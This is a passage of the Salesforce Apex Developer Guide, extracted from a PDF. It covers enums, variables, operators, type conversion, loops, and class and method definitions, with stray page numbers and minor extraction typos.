• System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode

during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode
Enum.
• System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.
• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as
the Decimal divide method and the Double round method. For more information, see Rounding Mode.
• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
• System.JSONToken:
This enum is used for parsing JSON content. For more information, see JSONToken Enum.
• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
• Dom.XmlNodeType:
This enum specifies the node type in a DOM document.
Note: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.
Variables
Local variables are declared with Java-style syntax. As with Java, multiple variables can be declared and initialized in a single statement.
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
36
List<String> strList;
Set<String> s;
Map<ID, String> m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
Null Variables and Initial Values

If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null;
Decimal d;
Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);
All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;
Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.
Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i; This declaration is not allowed
}
for (Integer j = 0; j < 10; j++);

for (Integer j = 0; j < 10; j++);
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case-insensitive. For example:
Integer I;
//Integer i; This would be an error.
37
• References to object and field names are case-insensitive. For example:

Account a1;
ACCOUNT a2;
• SOQL and SOSL statements are case- insensitive. For example:

Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];
Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.
Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final keyword.
The final keyword means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer
method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The
second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {

return 2 + 7;
}
static {
PRIVATE_INT_CONST2 = calculate();
}
}
For more information, see Using the final Keyword on page 76.
Expressions and Operators

38
IN THIS SECTION:
Expressions
Expressions can be joined to one another with operators to create compound expressions.
Operator Precedence
Operators are interpreted in order, according to rules.
Comments
Both single and multiline comments are supported in Apex code.
SEE ALSO:
Expanding sObject and List Expressions
Expressions
In Apex, an expression is always one of the following types:
• A literal expression. For example:
1 + 1
• A new sObject, Apex object, list, set, or map. For example:

new Account(<field_initializers>)
new Integer[<n>]
new Account[]{<elements>}
new List<Account>()
new Set<String>{}
new Map<String, Integer>()
new myRenamingClass(string oldName, string newName)
• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
• Any sObject field reference that is not an L-value, including:

– The ID of an sObject in a list (see Lists)
– A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
39
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
For information, see SOQL and SOSL Queries on page 143.
• A static or instance method invocation. For example:

System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
Expressions can be joined to one another with operators to create compound expressions.
Apex supports the following operators:
Operator Syntax Description

= x = y Assignment operator (Right associative). Assigns the value of y to the L-value
x. Note that the data type of x must match the data type of y, and cannot be
null.
+= x += y Addition assignment operator (Right associative). Adds the value of y to the

original value of x and then reassigns the new value to x. See + for additional
information. x and y cannot be null.
*= x *= y Multiplication assignment operator (Right associative). Multiplies the value of

y with the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
-= x -= y Subtraction assignment operator (Right associative). Subtracts the value of y

from the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
/= x /= y Division assignment operator (Right associative). Divides the original value of x

with the value of y and then reassigns the new value to x. Note that x and y
must be Integers or Doubles, or a combination. x and y cannot be null.
|= x |= y OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,

are both false, then x remains false. Otherwise, x is assigned the value of true. x
and y cannot be null.
&= x &= y AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise, x is assigned the value of false. x
and y cannot be null.
<<= x <<= y Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high order bits are lost, and the new right bits are set to 0. This value is
then reassigned to x.
>>= x >>= y Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low order bits are lost, and the new left bits are set to 0 for
40

positive values of y and 1 for negative values of y. This value is then reassigned to
x.
>>>= x >>>= y Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set to 0
for all values of y. This value is then reassigned to x.
? : x ? y : z Ternary operator (Right associative). This operator acts as a short-hand for

if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result. Note that x cannot be null.
&& x && y AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is true.
• x and y cannot be null.
|| x || y OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both

false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is false.
• x and y cannot be null.
== x == y Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise, the expression evaluates to false.
Note:
• Unlike Java, == in Apex compares object value equality, not reference equality,
except for user-defined types. Consequently:
– String comparison using == is case-insensitive
– ID comparison using == is case-sensitive, and does not distinguish between
15-character and 18-character formats
– User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory. You
can override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
• For sObjects and sObject arrays, == performs a deep check of all sObject field
values before returning its result. Likewise for collections and built-in Apex
objects.
41

• For records, every field must have the same value for == to evaluate to true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator, and not ==. Although Apex
and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy
exists because most modern languages use = for assignment and == for
equality. The designers of Apex deemed it more valuable to maintain this
paradigm than to force developers to learn a new assignment operator. The
result is that Apex developers must use == for equality tests in the main body
of the Apex code, and = for equality in SOQL and SOSL queries.
=== x === y Exact equality operator. If x and y reference the exact same location in memory,
the expression evaluates to true. Otherwise, the expression evaluates to false.
< x < y Less than operator. If x is less than y, the expression evaluates to true. Otherwise,
the expression evaluates to false.
Note:
• Unlike other database stored procedures, Apex does not support tri-state Boolean
logic, and the comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
> x > y Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
42

<= x <= y Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
>= x >= y Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
!= x != y Inequality operator. If the value of x does not equal the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• String comparison using != is case-insensitive
• Unlike Java, != in Apex compares object value equality, not reference equality,
except for user-defined types.
• For sObjects and sObject arrays, != performs a deep check of all sObject field
values before returning its result.
43

• For records, != evaluates to true if the records have different values for any
field.
• User-defined types are compared by reference, which means that two objects
are different only if they reference different locations in memory. You can
override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
• x or y can be the literal null.
!== x !== y Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.
+ x + y Addition operator. Adds the value of x to the value of y according to the

following rules:
• If x and y are Integers or Doubles, adds the value of x to the value of y. If a
Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.
- x - y Subtraction operator. Subtracts the value of y from the value of x according to

the following rules:
• If x and y are Integers or Doubles, subtracts the value of y from the value of
x. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
* x * y Multiplication operator. Multiplies x, an Integer or Double, with y, another

Integer or Double. Note that if a double is used, the result is a Double.
/ x / y Division operator. Divides x, an Integer or Double, by y, another Integer or Double.

Note that if a double is used, the result is a Double.
! !x Logical complement operator. Inverts the value of a Boolean, so that true becomes
false, and false becomes true.
44

- -x Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.
Note that the positive equivalent + is also syntactically valid, but does not have a
mathematical effect.
++ x++ Increment operator. Adds 1 to the value of x, a variable of a numeric type. If

++x prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.
-- x-- Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
--x If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.
& x & y Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid
for types Long or Integer.
| x | y Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid
for types Long or Integer.
^ x ^ y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.
^= x ^= y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.
<< x << y Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.
>> x >> y Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low order bits are lost, and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.
>>> x >>> y Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for all values of
y.
() (x) Parentheses. Elevates the precedence of an expression x so that it is evaluated

first in a compound expression.
Operator Precedence
Operators are interpreted in order, according to rules.
Apex uses the following operator precedence rules:
Precedence Operators Description

1 {} () ++ -- Grouping and prefix increments and decrements
45
Precedence Operators Description

2 ! -x +x (type) new Unary negation, type cast and object creation
3 * / Multiplication and division
4 + - Addition and subtraction
5 < <= > >= instanceof Greater-than and less-than comparisons, reference tests
6 == != Comparisons: equal and not-equal
7 && Logical AND
8 || Logical OR
9 = += -= *= /= &= Assignment operators
Comments
Both single and multiline comments are supported in Apex code.
• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser
• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */
Assignment Statements
An assignment statement is any statement that places a value into a variable.
An assignment statement generally takes one of two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
• A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
• A de-referenced list element. For example:

ints[0] = 1;
accts[0].Name = 'Acme';
46
• An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call

// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.

insert a;
// Fields also must be writable for the context user

// a.CreatedDate = System.today(); This code is invalid because
// createdDate is read-only!
// Since the account a has been inserted, it is now possible to

// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
Assignment is always done by reference. For example:

Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Expression Operators on page 40.
Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
47
3. Double
4. Decimal
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.
Additional Considerations for Data Types

Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example,
Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum value for an Integer,
so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
Loss of Fractions in Divisions

When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.
48
Apex Developer Guide Control Flow Statements
Control Flow Statements

Apex provides if-else statements and loops to control the flow of code execution. Statements are generally executed line by line, in the
order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block of code
execute repeatedly.
IN THIS SECTION:
Conditional (If-Else) Statements
The conditional statement in Apex worksApex similarly to Java.
Loops
Apex supports five types of procedural loops.
Conditional (If-Else) Statements

The conditional statement in Apex worksApex similarly to Java.
if ([Boolean_condition])
// Statement 1
else
// Statement 2
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}
Repeated else if statements are also allowed. For example:

if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}
49
Loops
Apex supports five types of procedural loops.
These types of procedural loops are supported:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
• break; exits the entire loop
• continue; skips to the next iteration of the loop
IN THIS SECTION:
1. Do-While Loops
2. While Loops
3. For Loops
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
} while (condition);
Note: Curly braces ({}) are always required around a code_block.
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}
50
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {

count++;
}
For Loops
Apex supports three variations of the for loop:
• The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) {

code_block
}
• The list or set iteration for loop:
for (variable : list_or_set) {

code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
• The SOQL for loop:
for (variable : [soql_query]) {

code_block
}
or
for (variable_list : [soql_query]) {

code_block
}
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Each is discussed further in the sections that follow.
IN THIS SECTION:
Traditional For Loops
List or Set Iteration for Loops
Iterating Collections
51
Traditional For Loops

The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) {

code_block
}
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}
List or Set Iteration for Loops

The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) {

code_block
}
where variable must be of the same primitive or sObject type as list_or_set.

When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {

System.debug(i);
}
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.
Adding Elements During Iteration

To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.
52
Apex Developer Guide Classes, Objects, and Interfaces
Removing Elements During Iteration

To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.
Classes, Objects, and Interfaces

Apex classes are modeled on their counterparts in Java. You’ll define, instantiate, and extend classes, and you’ll work with interfaces,
Apex class versions, properties, and other related class concepts.
IN THIS SECTION:
1. Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance
of a class.
2. Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body
of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained
in the interface.
3. Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without
sharing.
4. Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with
an initial @ symbol, followed by the appropriate keyword.
5. Classes and Casting
In general, all type information is available at run time. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert
an object from one data type to another.
6. Differences Between Apex Classes and Java Classes
Apex classes and Java classes work in similar ways, but there are some significant differences.
7. Class Definition Creation
Use the class editor to create a class in Salesforce.
8. Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations.
9. Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
53
11. Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets.
Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class.
For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order.
An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
IN THIS SECTION:
1. Apex Class Definition
2. Class Variables
3. Class Methods
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have
instance methods, member variables, and initialization code, which have no modifier, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example
54
Apex Class Definition

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}
To define a class, specify the following:

1. Access modifiers:
• You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
• You do not have to use an access modifier in the declaration of an inner class.
2. Optional definition modifiers (such as virtual, abstract, and so on)

3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce and Force.com.
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}
• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private. This keyword
can only be used with inner classes (or with top level test classes marked with the @isTest annotation).
• The public access modifier declares that this class is visible in your application or namespace.
• The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined
with the webservice keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing or without sharing Keywords on page 79.
• The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the
override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
• You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package
version.
55
• If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
• You cannot override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 613.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces on page 72.
For more information about method and variable access modifiers, see Access Modifiers on page 60.
SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality
Class Variables
To declare a variable, specify the following:
• Optional: Modifiers, such as public or final, as well as static.
• Required: The data type of the variable, such as String or Boolean.
• Required: The name of the variable.
• Optional: The value of the variable.
Use the following syntax when defining a variable:
[public | private | protected | global] [final] [static] data_type variable_name

[= value]
For example:
private static final Integer MY_INT;
private final Integer i = 1;
Class Methods
To define a method, specify the following:
• Optional: Modifiers, such as public or protected.
• Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a
value.
• Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
• Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Use the following syntax when defining a method:
[public | private | protected | global] [override] [static] data_type method_name

(input parameters)
{
56
// The body of the method

}
Note: You can use override to override methods only in classes that have been defined as virtual or abstract.
For example:
public static Integer getInt() {
return MY_INT;
}
As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
User-defined methods:
• Can be used anywhere that system methods are used.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements on page 621.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations are not needed.
• Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Rules of Conversion on page 47.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
• When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements
in Apex code. For example:
System.debug('Here is a note for the log.');
• Can have statements where the return values are run as a statement if their results are not assigned to another variable. This rule is
the same in Java.
Passing Method Arguments by Value

In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. This means that when the method returns,
the passed-in argument still references the same object as before the method call and can't be changed to point to another object.
However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
57
String msg = 'Original value';

processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {

s = 'Modified value';
}
}
